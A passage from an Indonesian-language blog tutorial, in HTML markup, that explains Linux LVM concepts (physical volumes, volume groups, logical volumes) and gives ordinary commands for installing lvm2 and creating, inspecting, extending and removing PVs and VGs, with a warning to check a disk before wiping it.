machine&lt;/em&gt;, tentu mengubah (memperbesar atau mengurangi) ukuran penyimpanan (&lt;em&gt;storage&lt;/em&gt;) adalah hal yang mudah. Kita hanya perlu pergi ke “Settings”, kemudian cari bagian “Storage” atau “Disk”, lalu kita bisa sesuaikan ukurannya. Berbeda jika di baremetal (komputer/&lt;em&gt;storage&lt;/em&gt; fisik). Mengubah ukuran penyimpanan di partisi yang sudah diformat akan sangat merepotkan, kalau tidak mungkin. Selain itu, jika kapasitas disk (hardisk/nvme) kita kecil (misalnya 128 GB) dan sudah mau penuh, ketika kita ingin melakukan &lt;em&gt;upgrade&lt;/em&gt; system, satu-satunya cara agar system kita tidak crash di tengah &lt;em&gt;upgrade&lt;/em&gt; adalah dengan menghapus beberapa file terlebih dahulu untuk me-lega-kan penyimpanan.&lt;/p&gt;&lt;p&gt;Oleh karena itu, LVM hadir sebagai solusi terhadap masalah tersebut.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;LVM History&lt;a href=&quot;#lvm-history&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pada awalnya, LVM diciptakan oleh Heinz Mauelshagen pada tahun 1998 ketika dia sedang bekerja di &lt;a href=&quot;https://en.wikipedia.org/wiki/Sistina_Software&quot; target=&quot;_blank&quot;&gt;Sitisna Software&lt;/a&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Hingga hari ini, LVM sudah banyak diadopsi di banyak sistem operasi berbasis UNIX, seperti Linux dan FreeBSD. Bahkan, Ubuntu Server sendiri sudah menggunakan LVM sebagai opsi instalasinya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;LVM, What is It?&lt;a href=&quot;#lvm-what-is-it&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;LVM atau &lt;strong&gt;&lt;em&gt;Logical Volume Manager&lt;/em&gt;&lt;/strong&gt; adalah sebuah sistem manajemen penyimpanan di Linux yang memungkinkan penggunanya melakukan beberapa hal berikut:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menggabungkan beberapa disk menjadi satu volume.&lt;/li&gt;
&lt;li&gt;Memperbesar atau memperkecil (&lt;em&gt;resize&lt;/em&gt;) kapasitas partisi dengan mudah.&lt;/li&gt;
&lt;li&gt;Mengelola storage secara dinamis tanpa &lt;em&gt;downtime&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Struktur utama dalam LVM sendiri ada 3:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;PV (&lt;em&gt;Physical Volume&lt;/em&gt;)&lt;/strong&gt;: Sebuah disk fisik atau partisi yang digunakan untuk membuat blok untuk LVM.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VG (&lt;em&gt;Volume Groups&lt;/em&gt;)&lt;/strong&gt;: Sebuah &lt;em&gt;pool&lt;/em&gt; PV yang memungkinkan kita menggabungkan beberapa disk atau partisi untuk membuat LV.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LV (&lt;em&gt;Logical Volumes&lt;/em&gt;)&lt;/strong&gt;: Volume yang fleksibel dan dinamis yang dibuat berdasarkan VG yang ada sehingga membentuk disk virtual.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Jadi, cara kerja LVM juga ada 3:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Membuat PV untuk disk / partisi yang ingin didaftarkan ke LVM.&lt;/li&gt;
&lt;li&gt;Membuat VG berdasarkan PV yang sudah terdaftar.&lt;/li&gt;
&lt;li&gt;Membuat LV dari VG yang sudah dibuat.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah ilustrasi ketiganya:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;(https://excalidraw.com)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;(https://excalidraw.com)&quot;&gt;&lt;img alt=&quot;lvm structure. Created with: excalidraw.com&quot; loading=&quot;lazy&quot; width=&quot;11628&quot; height=&quot;3976&quot; src=&quot;/_astro/ss1.B_g1lIVv_27PMmQ.webp&quot; /&gt;&lt;figcaption&gt;lvm structure. Created with: excalidraw.com&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berdasarkan gambar di atas, terlihat bahwa saya memiliki:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;2 PV&lt;/strong&gt;: PV-1 &amp;amp; PV-2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2 VG&lt;/strong&gt;: VG-1 &amp;amp; VG-2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3 LV&lt;/strong&gt;: LV-1, LV-2, dan LV-3&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Seandainya partisi LV-1 saya  di VG-2 (&lt;code&gt;/home&lt;/code&gt;) sudah mulai penuh, saya hanya tinggal memperbesar ukurannya ke LV-2, dengan ukuran yang saya inginkan (gak mesti langsung semua sisa partisi saya gunakan). Tapi perlu dicatat, partisi LV-1 di VG-1 tidak bisa diperbesar ke LV-2 di VG-2 karena sudah beda VG (kecuali sudah ditambahkan).&lt;/p&gt;&lt;p&gt;Jadi, dengan adanya LVM, kita bisa lebih bebas mengatur bagaimana penyimpanan fisik kita dikelompokkan. Jika kita ingin agar kita lebih punya kebebasan dalam mengatur semua disk fisik, kita bisa mengelompokkan semua disk fisik tersebut (misalnya Disk1: 500GB, Disk2: 1TB, dan Disk3: 2TB) ke dalam satu VG yang sama, baru nanti kita bisa atur partisinya sesuai kehendak kita di LV.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Main Event&lt;a href=&quot;#main-event&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;lvm&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y lvm2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy lvm2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install lvm2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pkg install lvm2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; OpenSUSE belum menyediakan paket &lt;code&gt;lvm2&lt;/code&gt; di repo official-nya, jadi kita perlu menambahkannya terlebih dahulu secara manual.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;addrepo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://download.opensuse.org/repositories/Base:System/openSUSE_Tumbleweed/Base:System.repo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;refresh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvm2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;configuration.nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;lvm2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lvm2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum masuk ke pembuatan LVM, saya mau berbagi &lt;em&gt;layout&lt;/em&gt; LVM saya terlebih dahulu. Berikut adalah rencana &lt;em&gt;layout&lt;/em&gt; LVM saya:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://excalidraw.com&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://excalidraw.com&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;my lvm plan. Created with: excalidraw.com&quot; loading=&quot;lazy&quot; width=&quot;5770&quot; height=&quot;3245&quot; src=&quot;/_astro/ss2.aiP6rDo9_25CIEU.webp&quot; /&gt;&lt;figcaption&gt;my lvm plan. Created with: excalidraw.com&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, saya memang hanya berencana membuat LVM di satu disk saja, setidaknya untuk saat ini. Jadi, berdasarkan &lt;em&gt;layout&lt;/em&gt; tersebut, kita nanti akan membuat sebuah PV, sebuah VG, dan sebuah LV.&lt;/p&gt;&lt;p&gt;Berikut adalah disk 2TB yang saya maksud:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;/dev/sda&quot; loading=&quot;lazy&quot; width=&quot;709&quot; height=&quot;496&quot; src=&quot;/_astro/ss3.De3k83YY_Z1bXRkI.webp&quot; /&gt;&lt;figcaption&gt;/dev/sda&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;DANGER&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Beberapa hal penting yang juga perlu diperhatikan sebelum membuat PV:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Pastikan tidak ada data penting di disk/partisi yang akan didaftarkan ke PV.&lt;/li&gt;
&lt;li&gt;Hapus format filesystem disk/partisi dengan perintah&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wipefs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;section&gt;&lt;h4&gt;PV (Physical Volume)&lt;a href=&quot;#pv-physical-volume&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;section&gt;&lt;h5&gt;1. Creating PV&lt;a href=&quot;#1-creating-pv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk membuat &lt;em&gt;physical volume&lt;/em&gt; (PV):&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ganti &quot;/dev/sda&quot; dengan disk/partisi yang perlu didaftarkan ke LVM&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pvcreate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;2. Showing PV info&lt;a href=&quot;#2-showing-pv-info&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk melihat info PV:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pvdisplay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pvs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;3. Removing PV&lt;a href=&quot;#3-removing-pv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk menghapus PV:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ganti &quot;/dev/sda&quot; dengan disk/partisi yang sudah didaftarkan ke PV&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pvremove&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;4. Resizing PV&lt;a href=&quot;#4-resizing-pv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk me-&lt;em&gt;resize&lt;/em&gt; PV:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ganti &quot;/dev/sda&quot; dengan disk/partisi yang sudah didaftarkan ke PV&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pvresize&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;VG (Volume Group)&lt;a href=&quot;#vg-volume-group&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;section&gt;&lt;h5&gt;1. Creating VG&lt;a href=&quot;#1-creating-vg&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk membuat VG (dari satu atau lebih PV):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ganti &quot;/dev/sda&quot; dengan disk/partisi yang sudah didaftarkan ke PV&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgcreate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Catatan:&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;vg_data&lt;/strong&gt; adalah nama VG, bebas kita tentukan sendiri.&lt;/li&gt;
&lt;li&gt;Karena PV yang akan saya buat VG hanya satu, maka perintahnya hanya &lt;code&gt;sudo vgcreate vg_data /dev/sda&lt;/code&gt;. Tapi, kalau ada lebih dari satu disk/partisi, maka perintahnya:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgcreate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sdb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;2. Showing VG info&lt;a href=&quot;#2-showing-vg-info&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk melihat info VG:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgdisplay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;3. Menambah PV ke VG&lt;a href=&quot;#3-menambah-pv-ke-vg&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk menambah PV ke VG yang sudah ada:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgextend&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sdd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;4. Mengeluarkan PV dari VG&lt;a href=&quot;#4-mengeluarkan-pv-dari-vg&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk mengeluarkan PV dari VG:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgreduce&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vg_data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sdd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;5. Removing VG&lt;a href=&quot;#5-removing-vg&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;Untuk menghapus VG:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ganti &quot;vg_data&quot; dengan nama VG yang ingin dihapus&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vgremove&lt;/span&gt;&lt;span&gt; 